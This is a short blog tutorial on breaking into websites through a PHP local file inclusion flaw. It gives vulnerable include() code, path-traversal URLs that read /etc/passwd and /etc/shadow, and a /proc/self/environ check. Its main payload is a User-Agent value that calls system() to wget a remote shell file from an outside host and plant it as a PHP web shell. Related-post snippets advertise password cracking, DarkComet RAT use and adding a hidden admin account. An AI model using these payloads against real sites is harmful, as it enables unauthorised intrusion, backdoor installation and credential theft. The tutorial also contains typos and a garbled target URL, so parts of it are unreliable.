J2TEAM Security: A must-have extension for Chrome users. Install now!

Hacking Websites via LFI (Simple, Short and easy)

Hacking Websites via LFI (Simple, Short and easy) | Juno_okyo's Blog
1 min read
 
 1. Introduction

 2. /proc/self/environ
 3. PHP injection
 4. Accessing the shell

1. Introduction

Remember LFI? This is a tutorial on how to get the shell on the website with a site vulnerable to LFI.

Here is the example of a code that is vulnerable to LFI:

<?php
// LFI Vulnerable Code
$redirect = $_GET[redirect];
include($redirect);
?>

It is vulnerable because $redirect is not sanitized, therefor include($redirect); will read off $_GET[page];.

Here is a example of LFI on Unix (very old):
http://www.example.com/redirect.php?.../../etc/passwd (Unix)
http://www.example.com/redirect.php?.../../etc/shadow (Linux)
http://www.example.com/redirect.php?.../master.passwd (FreeBSD)

2. proc/self/environ

To check if it is vulnerable, we enter this in the ../ part:
../../../../../proc/sef/environ

If you get something like DOCUMENT_ROOT=SKDOISAJUF()&@#%(#*%, etc... That means it is vulnerable.

If you get only a blank page, it isn't vulnerable.

3. PHP Injection
Now, let's access it and use Tamper Data to change the user agent to this:
<?system('wget http://gonullyourself.org/shell.txt -O gonullyourself.php');?>
Now, submit the request.

Our command will be executed.

4. Accessing the shell

To check if the command got executed, we will enter something like this:
http://www.google.ca/gonullyourself.php

If our shell is there, the command was successfully executed.

Easy :) Isn't it?
Leader at J2TEAM. Website: https://j2team.dev/

Bạn có thể thích những bài đăng này

  • Để làm được cái điều này thì yêu cầu phải là ngươi kiên nhẫn, nếu bạn không kiên nhẫn thì tắt đi đừng nên đọc tiếp mất thời gian Để sử dụng tuyệt chiêu mò pass thần chưởng các b…
  • Như các bạn đã biết Y!m có một chế độ Lưu trữ tin nhắn "Message Archive" và thiết lập mặc định của chức năng này là Lưu trữ và xóa mỗi khi thoát Y!m. Vì thế chúng ta sẽ lợi dụng …
  • Hello Guyz, I've seen many people using Darkcomet more and more nowadays. Therefore I have decided to make a good tutorial... Things you will need: No-ip Duc Proxpn Darkcomet …
  • EBOOKS INCLUDED Exploit Folder Extreme Exploits - Advanced Defenses Against Hardcore Hacks Hacking - The Art Of Exploitation Shellcoder's Programming Uncovered The Shellcod…
  • First execute command on shell > Code: net user l33t p4$sword /add l33t=username p4$sword=password After execution the shell will give you a result like this : Code: …
  • Video mô tả tấn công XSS (Cross Site Scripting), video mô tả rất chi tiết. Link download: http://adf.ly/FMu2Z Pass giải nén nếu có: vietmatrix.net Chúc các bạn nghiên cứu thành …

Đăng nhận xét

Cảm ơn bạn đã đọc bài viết!

- Bạn có gợi ý hoặc bình luận xin chia sẻ bên dưới.

- Hãy viết tiếng Việt có dấu nếu có thể!